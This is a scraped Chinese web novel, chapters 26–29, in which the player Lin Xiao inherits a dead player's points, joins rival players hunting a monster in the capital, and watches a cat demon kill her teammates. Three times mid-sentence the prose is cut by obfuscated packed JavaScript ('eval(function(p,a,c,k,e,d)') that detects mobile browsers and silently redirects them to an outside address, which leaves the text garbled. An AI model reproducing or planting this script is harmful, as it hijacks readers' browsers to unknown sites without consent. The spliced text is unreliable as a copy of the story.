“养宠物看的也是缘分，”林筱摸着白狼的手微顿，整张脸恰好位于树影之内，看不见神情，“没有未必不好。” “的确是这个理。”世子点了点头，“我就与它有缘。” 他想起一件有趣的事，斜倚在一旁的假山和林筱说道：“其实这头狼崽本就是我一早就看中。上月高贵妃得了一只白狐，聪明狡黠，就连圣上都宠爱有加。我本想着让人再去寻找那一窝狐崽可还有其他兄弟姐妹流浪在外的，就听闻献宠的人说那山里还藏着一对白狼，其中那只母狼当时就大着肚子，应该已经生产。我就特意向圣上求了恩典，带着人到了地方。” “只是不巧，我们到时白狼已经被猎户猎得。”世子的眉眼温柔缱绻，看着林筱的眼神就算是无情也像是有情，“但幸运的是，我依旧找到了它。” “如今它听话乖巧，看人的眼光也与我相似，这不就是我们的缘分。” 林筱只当作没听懂里面的意思：“那世子与这白狼的确有缘分。可取了名？” 世子低头看了她一眼，无奈地叹了口气，却被忽然吸入的凉风引出一阵咳嗽，半晌才缓过神来。 林筱依旧逗弄着白狼，没做出任何反应。 “名字也不该是我来取。”世子将用过的手绢扔交给一旁的侍卫处理掉，眉眼笼上一丝轻愁，清冽的声音断续，“过几日就是父王生辰，我会在那时将白狼送上，名字自然由父王命名。” “那殿下寻我们何事？”这过程已经用不上他们司天监，吉日已定，名字也不用他们测算，她来这里就没有用处。 他叹了一口气：“那日殿试，我就看见了你，之后百般打听，才知道你进了司天监。” “林筱，”他呼唤她的名字，语气无奈却又包容，“司天监看似清闲，但也最会磋磨新人。可能进去一两年，依旧会被他们扔进藏书楼打扫用不上几回的书籍，生生消磨了少年意气与凌云壮志。 “我现在只有一个世子的名头，有名无权，也只能假借着父王的威风震慑他们。” 他顿了一下，那一刻的笑容疏朗：“算了，就当我没说过。这件事本就是我一人的想法，不该交由你苦恼。” 林筱将白狼交回给驯兽师，却对着世子毫无办法。 她现在就是个世外之人，本来也没有心思在这方面，更不会在这种时候想这些儿女情长的。但欠别人恩情她也难受，就算杀了白狼阻止这一次晋王府养宠物，也无法彻底杜绝这件事再次发生。 一旁的白狼打了个冷颤，抖了抖毛，警惕又迷茫地扫视四周，默默躲在林筱脚边。 世子也发现了林筱改变的态度，苦笑：“我还是多言了？” 林筱虽然为了成功不计较手段，但她也不喜欢背负情债，想了想，还是决定断了他的念头，点了点头。 “那就算是为了公事，也好让你回去有交代。”病弱公子眉宇间的落寞引人心疼，却无法让他心仪之人动情，“后日便是高贵妃狐宠生辰。高贵妃想为它建个生祠，你随便给她献个吉日就行。” 他们在这里说着应付贵人的手段，两旁伺候的人只当自己是聋子，低垂着头不动弹。 给一个宠物建生祠？这就算是昏君也没有那么离谱。 看来这个高贵妃也是一个重要角色，林筱看了眼送来重要信息的世子，突然就想到上一个世界的林洛，语气忍不住柔软了几分：“谢谢。” “我知道不会是我想听到的字，但这样也 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等到那股力气减弱，她脚尖点地，隐藏在鞋垫的尖刀弹出，顺着那拉力的来源刺去。 尖刀刺入土地，那个人躲开了。 就在林筱准备第二次攻击时，一道沙哑的声音响起：“我没有恶意。” 林筱没有继续攻击，但也没有取消防备，警惕地看向那边：“找我什么事？” 听那个声音，是中途离场的失明老者。 “就你一个人？”眼看林筱没有下一步动作，他也安心地坐在墙角，慢悠悠说道。 “你不是应该比我还清楚。”她现在人都被他带进来了，还能有什么同伴？ 老者不以为意地摸了摸手边的拐杖，突然就问了一个奇怪的问题：“你相信人之将死，其言也善吗？” “不信。”林筱没有犹豫地回答。死前的忏悔是最无用的东西，如果是她，比起忏悔，她会更想拉着别人给她陪葬。 “我也不信。”老者咧着嘴笑，“我就知道，我们是一样的人。” 林筱已经防备地看着他，不知道他在抽什么风。 “我们在这个世界的一举一动都会被它看见，所以我不会和你说我的经历，但我可以给你一些线索。明天，我就会死，记得第一个来找到我。”老者嘿嘿笑道，就像他说的不是他的死讯，而是一件值得庆祝的事。 “你怎么会知道自己要死了？”林筱不信系统会那么好心地死亡预告。 “这是我和系统之间的事情，你可以看作这是我们的一场交易。”老者哼着歌，大笑，“希望你不会和我一个下场。” “装神弄鬼。”林筱看着已经疯疯癫癫的老者，没有更多理会，转身就走。 “对了，最后一个忠告，除了自己，什么也不不要相信。”老者在林筱的身后大喊，还伴着那几近疯魔的笑声。 他说的，林筱没有完全相信。 就像老者说的，他们是同一类人。他也不信人之将死其言也善，所以这些话说不定八真二假，专门用来误导她。 但明天，她会来找他，看看他死没死。 26. 第一个世界8 林筱起来的第一件事就是来到老者所在的贫民区。 昨天刚走过的路，即使贫民区的地形犹如迷宫般混乱，林筱还是顺利地来到熟悉的角落。 一如既往的污秽不堪，腐烂的菜叶已经与淤泥无异，蝇虫在空中飞舞，带来股股恶臭。但是没有老者的身影，看来他今天会死就是一场骗人的闹剧。 林筱准备离开，最后扫了一眼那个漆黑的小巷，终于还是角落的麻袋边缘看见了残存的血迹。 居民区，还是卫生标准不达标的居民区，打架斗殴遗留的血迹或是屠宰留下的污渍在这里出现都很正常，但想到老者信誓旦旦的话，林筱还是走了过去。 她掀开覆盖在上面的茅草麻袋，看到一张熟悉的、青白的脸。他的脸部表情狰狞，就算是临死前也在忍受剧烈的疼痛，双手的指甲都已经劈断，将徒劳的挣扎停留在最后一刻。 没想到是真的。 林筱仔细观察他的尸体，想看看他特意要求她第一到达现场的目的是什么。 没有特殊痕迹，没有系统提示，他就那么静静躺在那里。 既然死亡是真的，那这里面必然还有其他她不知道的奥秘。林筱看着看不出特殊的尸体，想了想，伸手探进他的伤口，摸到了不该存在于这里的一张硬质卡片。 染血的卡片以金色为基底色，边缘光滑，一面刻印着2467这个编码，另一面则是一个诡异的齿轮状图案。 林筱轻触那几个数字。随着她的触摸，数字和卡片一点一点消失，系统的电子音也突然出现在她的脑海内。 [恭喜玩家获得编号2467的遗产，总计剩余积分4600，已全部转入玩家账号。 祝玩家游戏愉快。] 原来这才是他的目的。 当他们这些玩家彻底死亡后就会变成一堆难以被记忆的数据，湮没在系统之中，唯有积分可以留存给自己的朋友或者对手。 老者在这个世界没有熟悉的人，送给她也算成全最后的交情。 既然老者知道这个规则，那些老玩家也该知道。所以这个奖励好拿，却不好守。 4600积分，可以差不多将回去的进度条拉快10%，谁能不心动？ 幸运的是，她出门足够早，还来得及在一切都没有被发现前赶回家中一趟。 林筱上班点卯早，林家夫妇那时都还未醒。毕竟是寄宿他人之家，林筱就没让他们开正门，每每独自一人在侧门进出。 这一回程无人发现，甚至早起的小厮也以为林筱刚起床，看着她满手的血渍大惊失色：“小姐可是鼻衄？” 林筱没有否认：“端盆热水来。” 一旁的小厮絮絮叨叨地拿来热水与毛巾，非要亲眼看见林筱如今没事才停下喋喋不休的嘴，目送着她踏上上班的道路。 小姐瘦削单薄的身影逐渐被朦胧雾色吞噬，小厮关上侧门，忍不住嘀咕：“小姐，这京城太累，不如回家。” 可惜他的小姐听不见。 没有了世子的任务，林筱今天的任务依旧是整理藏书阁。 熟门熟路地和门口两个侍卫打完招呼，林筱扫了眼已经被她大致翻遍的二楼，继续向着上面爬去。 二楼到三楼之间的楼梯格外漫长，但当林筱达到顶端时，她却没能和计划中的一样走进去。 一扇门，一把锁，挡住了她。 但这也让林筱更加确定里面会有她需要的资料。所以，她需要帮手，不被发现地找到资料。 张少监，就是最好的人选。 当林筱避开监内的众人单独找到了属于玩家阵营的张少监时，他果然爽快地答应了。 少监算是司天监的三把手，拥有司天监内绝大部分权力，有他出现可以说是万无一失。 然而等他回来，面色却前所未有的难看。他用眼神示意林筱来到偏僻的角落，脸上满是恼怒：“那是上面要求锁的，除了皇帝谁也不能打开，我们要另外想办法。” 林筱假装没有看见他额角的红印，扮演一个胆小又怕事的游戏新人：“那，要不就算了吧？” “不用。”张少监脸色阴暗，但想到旁边还有一个刚忽悠过来的新人又装出一副和蔼的模样，“但只有我们几个这事办不成。我听说探花最近是那位眼前的红人，我们去找他牵制住前面的注意，再找人引走那两个侍卫，砸门进去。” “既然走不进，那就闯进去。” 林筱低着头，掩盖自己的疑惑。 这就是老玩家的水平，那么，简单粗暴？还是因为时间越来越紧迫，可有用的信息依旧模糊，所以他开始急躁了？ 张少监自然不会在意一个新人的不回话，毕竟从她之前透露出的对规则的迷茫而言，这个人绝对是这次最新的玩家，也是最好忽悠的。 他压低声音：“你告知有功，我肯定会保你活到最后。” 林筱还能怎样，就只有老老实实回一句：“谢谢老板。” 就在这时，一个打更人藏在司天监外的角落，朝他们做了个表示重大事件的手势。 这个打更人也是他们这一队的。他和林筱一样使用了一个积分换来了这个夜间行走的身份，现在这个样子显然是有重要情报前来汇报。 两人对视一眼，借口透透气走到了外面。 “那个瞎子死了，”打更人压低着声音，“今天下班的路上我就发现了他的尸体，为了不被别人发现，就又用草堆埋了起来。” 林筱知道这件事迟早会被发现，所以此刻依旧装出不知情的样子，担忧道：“这么快就有玩家死了吗？” “也不快了。”张少监皱着眉，为这一个打乱他计划的变故而心烦，“一个月的适应期也该过了，系统开始催促我们了。” 林筱记下他的话，没有表示出疑惑：进入新的世界后，会有一段的适应期是安全的。 既然正式玩家都会有这么一段安全期，为什么她刚进入新手世界就会遇到危险。这难道是系统对她的独特宠爱？ “他死的不是时候，”张少监接连受挫，就连语气都开始不耐烦，“他应该死在我的计划里。” 打更人不解，林筱却反应了过来。他们硬闯三楼肯定要有个替罪羊，一心求死的老者就是最好的人选。现在老者死了，要再找个不怕出卖的替罪羊就难了。 她看了眼打更人，这是要在他们自己人中找一个候选人了。 但张少监毕竟经历过多场游戏，很快整理好自己的心情。他找了个外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073081|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出的借口把林筱带了出去，又让打更人去联系其他的队友，一行人聚在老者的尸体前。 现在距离案发的时间越发久远，尸体已经完全僵硬，这证明他的死亡时间大概就在傍晚。他的胸腹部呈现出明显的抓痕，但比起正常动物的抓痕更加庞大尖利，几乎贯穿他整个身体。身旁是一滩已经凝结的血液，血量不少，也不排除死于失血过多的可能。 少监面不改色地将手伸进他的伤口内，使劲地搅拌，脸色却逐渐黑了下来。他阴鸷地看向那个打更人，语气冷凝：“你看到一个标有数字的牌子吗？” “什么牌子，没有啊。”打更人摸不着头脑地回答，看着他沾满污秽的手还有隐隐作呕的冲动，“我看到的时候就只有这些东西。” 少监没有说信，也没有说不信，脸色阴沉地扫过在场的每一个人：“如果你说得是真话，我们就不是第一个发现现场的玩家。有人，比我们快了一步。” 林筱和在场的其他人一样表现出疑惑。 少监盯着他们许久，收回目光，像是暂时信了他们，但也不想和他们过多解释，只等着探花他们的到来。 他们一伙人的异动瞒不了探花多久，双方肯定都派人相互盯梢，尤其他们还那么大张旗鼓地过来。没让少监久等，探花他们也出现在这个偏僻的角落。 他们来时并不知道这里有老者的尸体，所以看到他时齐刷刷地吓了一跳，又一个个面色刷白。 少监一直盯着他们的神色看，没有发现异常，只能气恼地哼了一声：“要看赶紧看吧。” 探花也不谦让，直接来到尸体的身前，看着死后被扩宽的伤口和少监的脸色，意味深长地挑了挑眉：“看来我们当中还有一个扮猪吃老虎的。” “少废话，你能看出什么？”少监没好气地催促。 探花没再伸手，仔细观察了一下眼前的尸体：“目标已经很明确了，不是吗？一个不应该存在于现实的异兽。” 老者身上的爪印大小明显超出正常生物，京城藏不住那么大的野兽，所以找到这个野兽也意味着他们距离真相越来越接近。 这也算是系统用死亡给予他们的鲜明提示。 随着探花郎话音落下，老者的尸体凭空消失，就连那滩血迹也了无痕迹。 他的消失没有吸引其他人的注意，就像是看到系统常见的操作，大家仍在讨论如何找到那个野兽。 养野兽就需要吃肉，对于市场上肉的流动，自然是屠夫更了解。 屠夫是探花郎那边的人，探花郎挥了挥手中的折扇，扇面打开露出“自在”两字：“我送了你们一条信息，刚才算你们回敬一条。但似乎，还是我们险胜一招？” 尸体是打更人发现的，下一步线索却是需要屠夫寻找，再加上酒楼探花郎送的一条消息，少监他们落后，此刻被嘲笑也只能捏着鼻子继续合作。 被派出去的屠夫很快就得到了消息：一个管家打扮的人经常购买大量的肉送到西边的一座小宅，而那个宅院的位置距离老者死亡地点不远。 这个肉的消耗量可不是正常家庭应有的开智，所以那小宅必然养着不同寻常的东西。 人齐了，地点也清楚了，择日不如撞日，他们直接就找了过去。 27. 第一个世界9 宅院位于贫民区，本该杂乱无章的地方此刻却戒备森严，守在门外的人个个孔武有力，目光警惕地望向四周。 一看就是有问题。 林筱他们现在手上没有武器，身份也大多是文弱书生或者手无缚鸡之力的普通百姓，能够勉强应付眼前这个场景的只有屠夫和镖师两人。 那个镖师也只是进入过一次正式副本的新人，却已经被之前的经历吓倒，声音几乎控制不住地拔高：“是你们说能活着我才跟你们，我才不要去送死！” 虽然他的嘴立马被人捂住，但泄露出的一丝半点也已经足够吸引门口人的注意。 他们挪动了一下，似乎要向这里走来。 镖师的身体更是瑟瑟发抖，不明的液体在他的脚下摊开，散发着难闻的气味。 “孬种。”屠夫啐了他一口，活动下身体，两三步爬上院墙，闷声道，“我给你们探路。” 别看屠夫长得五大三粗，但行动起来却是轻巧，即使跳下了墙也没发出大动静。没过多久，墙那头传来屠夫闷闷的声音：“过来吧。” 打斗大家不擅长，但爬墙勉强也都能做到。作为游戏老玩家的探花和少监更是身手敏捷，找准借力的位置来到墙头，成为第二批进到院内的人。只有镖师还是被吓破了胆子，蜷在墙角不敢动弹，胆怯地看着他们。 墙不算高，林筱被人拉了一把也能顺利地进去，一眼就看见屠夫脚边的一个健壮男人。 “来巡逻的，”屠夫随意地踢了踢他，男人的脖子歪成诡异的角度，显然没了气息，“也不知道这里藏着什么狗屁秘密，这巡逻密集得跟藏了几个亿一样，老子差点被发现。不过我们这么多个人，肯定瞒不了多久，赶紧杀进去解决就跑得了。” 十几个人，乌泱泱的看上去就一大片，但凡长眼的就能发现不对。他们点了点头，也十分赞同屠夫的决定。 能不能杀进去再说，早点完事早点跑才是正途。 大家抱着一样的心思，蹑手蹑脚地分成两队，各自跟在领头人身后等着他们决定方向。 探花郎与少监自然是那两个领头人。他们对视一眼，默契地指出位于中心的主院。 “你是谁，为什么会在这！”墙外却在此时冒出一个粗浑的声音。 镖师！ 他们瞪大眼，各自寻找一个藏身的地方，听着外面的动静。 “别打我，我是被人赶出来，随便找了个地方躲一下。”镖师颤颤巍巍地说道，“我什么都不知道，真的什么都不知道啊。” “大哥？”最开始出现的男声在征求另一个人的意见。 “什么都不知道？”另一个人复述了一遍，嘲讽地笑了一下，“那就永远都别知道。” “您放心，我一定不会说出去。”镖师立马表忠心，那不间断的重物砸击声应该就是他在磕头。 只可惜，镖师的这个举动毫无用处。伴随着他语无伦次的求饶与惨叫，棍棒击打声渐息，半截沾着红白相间污渍的棍子飞进院落，在他们的脚边自由滚动，停靠在假山一侧。 又过了一会，他们听见拖拽重物的声音和之前出现的第二个男声：“告诉小子们抓紧点，加强警戒，有人盯上我们这了。” “是。”另一个粗犷的男声大声应道。 紧随其后的就是一个清脆的巴掌声和怒吼：“喊那么大声干嘛，把那些小贼吓跑了我们拿什么和主子邀功？” “可你不也很大声……嗷，嗷，嗷，轻点，轻点，大哥。” 男人在墙外卖乖求饶，林筱他们几人敛声屏气，面面相觑。 这镖师虽然懦弱了些，但好歹直到最后也没把他们供出来，算是可靠了一把。但是他这个举动也葬送了自己的性命，还把他们逼上绝路。 这下，他们就算想放弃也难了，不如放手一搏。 趁着新的巡逻人员还没来，他们偷偷把那具尸体隐藏好，兵分两路向着主院的位置而去。 这宅院巡逻的人虽然多，但都不是正规出身。所以作为身经百战的老玩家，不管是探花郎还是少监都能发现其中的漏洞，带着自己的成员安全到达。 等到了主院，这里的看守反而最为松懈。门口守门的人看着高大，但那肌肉松松垮垮，就是样子货，还顶不住屠夫的一拳。 解决了门口的人，他们走了进去。里面安安静静，没有他们想象中异兽该有的动静，也没有饲养异兽该有的奴仆。 “会不会是我们来错的地方了？”一旁就有人开始怀疑了，“哪有重要的地方看守反而弱的。” “不会出错。”探花肯定地说道，“这里还有我们没发现的密室。” 林筱知道，探花没有说错。 主院看似看守最松，但外围的那些巡逻却都是围绕着主院进行。大概他们也想不到还有人能突破他们的巡查进入到主院，所以留在这的都是样貌上还过得去但武力值不行的人。 说白了，门口的人就是迎宾。 少监也是一样的想法。 两个领头人都觉得重点在主院，其他人暂时不想挑战他们的权威，也就在这个不大的空间内寻找有用的信息。 少监先寻找到了书房。 按照经典套路，古人总喜欢把机密文件藏进书房的各个角落，所以林筱刚一进来就相中那个破旧得与这个房间格格不入的花瓶。 显然，少监也是这么想的。 他按动花瓶，沉重的瓷器蓦然下陷，露出底下的层层机关。古代的民间技术再高超也会有局限，少监旋转几周，听出那几个不同的声响，解锁了密码。 随着瓷瓶的沉落，靠墙一侧的书架被挪开，露出一个被隐藏的窄长密室，里面传来阵阵古怪的腥臭。 这股臭味却让他们精神一振，这就意味着他们没有找错的地方。 “我先进去看看。”屠夫提起精神，活动一下关节，俯身钻了进去。 这个暗室开口不大，想要进去的话就得蜷缩着身体，但发现这些与背景有关的线索时是会给第一个发现的玩家加表现分，所以总有人愿意尝试。 他这身体本就粗壮，卡在密室的通道就像一条蠕动的虫子般费力地往前挤，也像是自愿献上的祭品。 屠夫一开始还会传来安全的信号，但没多久信号就断了。他们敲击着墙壁等待屠夫的回应，可等来的却是咀嚼的声音，以及若有若无的惨叫。 甚至，那个咀嚼的声音越来越响亮。 就像在耳边。 这个想法一出来，林筱下意识地靠近门口，准备见势不对就离开。 有这样的想法的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073082|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不止林筱一个人。 不多时，一只黑色的耳朵出现暗室的边缘，腥臭的味道越发浓郁。 “它出来了！”这个声音尖利扭曲，说不出是兴奋还是恐惧，但很快也化为惨叫。 林筱本来就靠近门口，一看到黑色的耳朵就顾不上身后的惨叫转身就跑。或许是刺激导致的肾上腺素分泌增加，林筱也不知道自己原来可以那么流畅地翻越围墙跑向远方。 门外巡逻的人都已经被主院的动静吸引，所以现在外面才更加安全。 她离开得早，也是运气好，没有停歇地到了远处，还被世子府上的人认出迎了进去，但其他人怎么样她就不知道了。 她唯一可以确定的是，他们大概找错地方了。 其实看见那个暗室的时候，林筱就有了怀疑。按照老者身上的伤口，那个异兽至少有三四米高才能对应那么大的爪子，而这个暗室根本无法容纳它的身躯。 而且，那个耳朵太小了。 白狼亲昵地跑了过来蹭了蹭她的腿，她看着白狼的耳朵，反应过来，对，那更像是狗耳。 那个地方距离世子的别院不远，如果有问题，世子应该也会知道。 林筱看向一旁的管家：“附近可有买卖小犬的地方？我看这白狼欢喜，也想养一只玩玩。” 世子交代过林筱的重要性，所以管家自然尽心尽责地为未来的主子着想：“这里哪会有品相好的宠物犬可以供林小姐购买的。不过附近倒是有一个地下斗犬场，就是怕您不喜欢那种凶性的。如果您想要，我找人替您问问？” “那算了。”林筱摇了摇头，摸着白狼的头，反而更加确定了自己的想法。 他们这是误打误撞进入人家的斗犬场了。 京城禁止这些血腥的斗场，可这有市场有利益的事情总会有人大着胆子去做。但这生意毕竟不正经，所以多找人看顾也是正常。 他们就是自己的事情没做好，倒是帮京兆尹发现了问题。 陪着白狼玩了一会，林筱随便找了个借口离开这里，再次来到他们约定的集合点。 等在那的只有几个狼狈的人，衬得衣冠整洁的她格格不入。 面对众人的疑问，林筱解释了一句：“我正好躲在认识的人家里。” 少监怀疑地看着她：“认识的人？” 林筱知道，他这是把老者的死亡怀疑到她身上。虽然他的怀疑没错，但她又怎么会表明：“我躲在世子府。” 少监想起来，前段时间世子的确借走了林筱。但他也只是把怀疑打消了一半，剩下的一半就要看调查结果和林筱之后的表现。 “你的运气不错。” 林筱知道少监会信的。 虽然相处时间不久，但林筱知道，在他们眼中npc就只是工具人和系统的监视器，又怎么会帮助没有利益关系的玩家。 “我们找错了地方，”探花靠在墙面，一贯的风流也只剩下疯，倒更像是一朝破落的世家公子，“那是斗犬场，没有我们想找的。” 因为这么一个错误的地址，他们差不多损失近一半的人，只剩下八九个活人。 就在他们怀疑是不是自己的思路错误时，有人给出了另一个令人恐惧的想法：“如果喂的不是肉呢？” 而是人。 28. 第一个世界10 打开新思路后，一切再次变得顺利起来。 人口失踪在古代很容易被掩盖，但这里是京城，天子脚下，还没人敢冒着这样的风险去饲养一只极具危险的凶兽。 所以他们就将搜索的重点放在人牙子和难民身上。 尤其是难民。 京城是繁华之都，所有腌臜之物都进不来，就算有难民也只会被堵在城门外，用虚伪的平静掩饰底下的波澜。 这个时代虽然大体上都是风调雨顺的太平盛世，但偶尔的一次天灾人祸就能导致小家庭的破碎，积少成多，也就成了一小股难民。 难民逃难，自然要往可以生存的地方逃去。而京城虽然不让难民进出，却也经常有富裕人家在不远处施粥救难，可以让他们支撑过最艰难的时期。 所以就要看京郊突然出现了哪些善人。 他们现在有皇上眼前的红人探花郎，还有司天监的少监，这些并不重要的消息很快就被送到他们手中。 城郊施粥的人不少，招工的也不少，其中一家从单日看没什么问题，但从整体来看，他们近月来招揽的难民已达上百人。 上百人在这个时代可不算小数字。 毫无疑问，这个人就是他们想要寻找的目标。但这个人选也确实出乎他们的意料，是高贵妃的母家，户部尚书高家。 高贵妃是如今整个后宫最得宠的妃子，颇得圣心，连带着户部尚书也春风得意，仕途顺畅。按理来说，他们只需要老实本分就可以前途无忧，又怎么会偷养这种凶兽。 就算在林筱的预期中，这个人选也该是其他有心夺位的诸侯王或者有不臣之心的权臣，而不是高家这种靠着姻亲上位的家族。 但那也只是林筱的猜想，证明一个结果需要证据，而证据表明，这一切的罪魁祸首就是高家。 既然再一次确定探访的对象，他们只需要搜集到足够的信息让自己避开这场灾祸就行。 他们决定夜访户部尚书府。 这个夜访，自然不是正经夜访。 户部尚书的宅院是皇上赏赐的，虽然不大，但也在内城，算是皇亲国戚的特殊荣誉。内城的巡逻也比外城森严，街上一队队都是带着真刀的侍卫，面容肃穆，井然有序。 远不是临时拼凑的地下斗犬场可以相比的。 而夜访，总得穿一身夜行衣才能表现出他们对这场活动应有的尊重。 他们这些玩家如今只剩下九个人，一身黑衣蒙着脸，在黑暗中倒也不显眼。只不过在场的都不是练家子，必须努力减小自己的脚步声才能不让巡逻人员发现。 户部尚书的院子就在内城外缘，他们顺着墙角避开几波巡逻，终于来到了院落外。 或许是因为过于相信内城的守卫，户部尚书府上并没多少人巡逻，只有几个值勤的守门人员，还都半眯着眼打着瞌睡。 和斗犬场相比，他们简直无害到极点。 林筱能看到其余人的犹豫与疑惑。斗犬场的那次失败让他们丧失大半勇气，如果这一次他们的选择依旧错误，那他们很有可能会选择浑浑噩噩地结束这次游戏，而不是经历那么惨痛的死亡方式。 更何况，这个户部尚书府太无害了，完全不像养着那么一头凶兽的地方。 “这里是内城，”探花郎压低声音看着身边的临时同伴，“他们不敢在这里养，所以我们要做的就是搜集证据以及找到凶兽的来源或者应对方式。” 搜集证据的危险性远低于直面凶兽，林筱甚至能听到有人松气后的长叹。 “这次我来探路，”探花郎继续说道，“等我确认安全，你们再进来。” 大户人家高门大院就没有贫民区那么好爬墙，但幸运的是，他们发现了一个狗洞，而狗洞的大小刚好够一个人进去。 正好又躲过一波巡逻，探花郎看着犹豫的众人，拍了拍紧身的夜行衣，匍匐着钻了进去。 没多久，沉闷的敲击声响起，林筱自愿成为第二个进去的人。 夜色深沉，林筱刚站起来没注意到周围的环境，一把被探花郎拉到不引人注目的角落，凑在她的耳边低语：“你现在知道那个少监不可靠了，要不要来我们这边？” 林筱没有挣脱，也没信探花郎的话，就着这个姿势摇了摇头：“不需要。” 她也不是信任少监，单纯就是觉得两个人一丘之貉，都不是好人。只不过一个蠢笨些，将色厉内荏表露在外，一个聪明些，却满肚子算计。 要说这户部尚书府安全，她第一个不信。好歹也是正三品的实权大官，如果真的一个巡逻人员也没有，不是心中有鬼就是有别的倚仗，这暗箭难防，怕是比斗犬场还凶险。 偏偏这人三言两语，就骗的人给他卖命。 就算真的要跟一个人，那也是蠢笨些好把控，自然还是少监好。 “他给了你什么好处？”探花郎带笑的声音带上一丝做作的苦恼，“我要怎么加价你才会同意呢？” “为什么一定要我？”林筱不觉得自己之前的表现有利用价值，她已经努力在装自己是个新人，虽然她也的确是。 “可能，因为这里只有我们俩个聪明人吧。”探花郎笑了一声，灼热的气息拂过她的耳边，轻描淡写地扔出重炮，“你也有一条规则了，不是吗？” 林筱的瞳孔微弱地震颤一下，在夜色的遮掩下没有被发现，被握住的手腕处脉搏平稳流畅，没有一丝心虚的表现。她停顿了一会，才像是不解般开口：“发现规则不是有系统提示的吗？” 探花郎依旧没有放开她的手，指尖按压在腕后高骨旁的桡动脉处，感受那和缓从容的脉搏跳动始终没有异动，这才笑了一下：“是我忘了，发现规则有系统提示。” 林筱还在思考怎么回话，其他人也陆陆续续都进来了。两人没有了谈话的空间，探花郎主动站了出来，借着之前拿到的信任布置任务：“尚书府太大，我们两两分组，分头调查。觉得差不多的人可以自行离开，大家老位置汇合。” 有了尚书府安全这个前提条件，大家自然不会排斥这个提议。但两两分组，探花郎和少监自然成为抢手人物。 他们总共有九个人，会有一个人单出来。没人愿意做那个落单的人，林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073083|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筱主动认领：“我单独行动。” 有人愿意，其他人求之不得，又怎么会拒绝。倒是想和她组队的探花郎看着她笑了一下，满脸无所谓地随手指了一个人。 能和大佬组队的人兴奋不已，没能组上大佬的四个人两两组队，各自选择了方向离去。 林筱早在他们定下组合前就离开了。她的目的明确，就是这里的花园。按照她发现的第一条规则，她怀疑那个异兽就是宠物坟墓衍生出来的产物，一个不存在于现实社会的妖。 户部尚书再厉害，那么庞大的兽类他们又是怎么隐蔽地藏起来的？即使藏在城外或者贫民区，这比屋宇还高的生物一旦现世必然吸引人们的注意，不可能一点流言都没有传出，除非那不是正常可以被发现的生物。 妖，就是集合林筱目前搜集到的所有信息得出的唯一结论。 所以她现在就要根据林家大伯的提示，找到那个住着妖的小土丘。 户部尚书的院子可不像林家那么简陋，假山将院子分割成不同又风格相似的区域，一个小土包可以完美隐藏其中，不被人发现任何异样。 土包难以被发现，可香火的味道却难以遮掩。 虽然晚风已经吹散了绝大多数的气息，但林筱还是锁定了大致区域，隐藏在不远不近但能观察到情况的假山后，静静等待妖的出现。 夜色渐浓，原本土丘的位置上方钻出一个娇小的身影，皮毛的颜色完美溶于黑暗之中。它随风见长，很快就从一只单手可以掌握的小猫变成比一旁的亭子还有大的庞然巨物。 苏醒的猫妖压低上半身做了一个拉伸，林木花草穿过它的身体随风摇曳。它耸动着鼻尖，向着书房的位置扭头看去，咧开嘴角，鲜红的舌尖舔了舔自己的唇周，在林筱的眼前倏然消失。 不过片刻，猫妖又回到了这个院子。当它再次回来时，嘴里叼着两个人，两个他们自己人。 那两个人已经在刚才的追击中被这只巨猫折断了四肢，浑身淋满它的口水，不断地发出痛苦的呻吟。 但猫妖并不想这么快结束这场狩猎。于是它不断地用脚拨弄着那两个人，看着他们努力挣扎地远去，又低头一口把他们叼了回来，看着他们露出绝望的表情崩溃嘶吼。 月光之下，猫妖露出一个人性化的嘲笑。 林筱的斜对角，细密的草丛不正常地摇晃，掉落出枯枝残叶，铺满一地。 看来这又是她的哪一个同伴同情心泛滥，想要以身为诱吸引猫妖的注意了。 林筱挪开目光，没去管自寻死路的人。妖和人的实力差距，不是靠他们这种送死可以弥补的。就是不知道少监和探花会不会看在越来越少的跑腿的份上救下他们。 但这个人显然是幸运的。就在猫妖准备伸出爪子把他也扒拉进玩耍圈内时，不远处传来一声悠长的口哨。黑猫露出不情愿的表情，但还是将脚下的猎物一口吞下，化为一缕青烟隐藏在坟墓中。 现在是最安全的时候，林筱能感觉不远处有人离开，但她还是选择了停留。 富贵险中求，而且她怀疑她不会被发现。 29. 第一个世界11 “昨晚你没回汇合点，我们差点以为你也死了。”等到第二天林筱上班打卡，少监在一旁截住她，看着她的眼神满是审视。 昨晚林筱离开户部尚书府后就直接回了林府，之前已经叮嘱了小厮给她留门，洗漱完就休息了，压根就没想起他们。 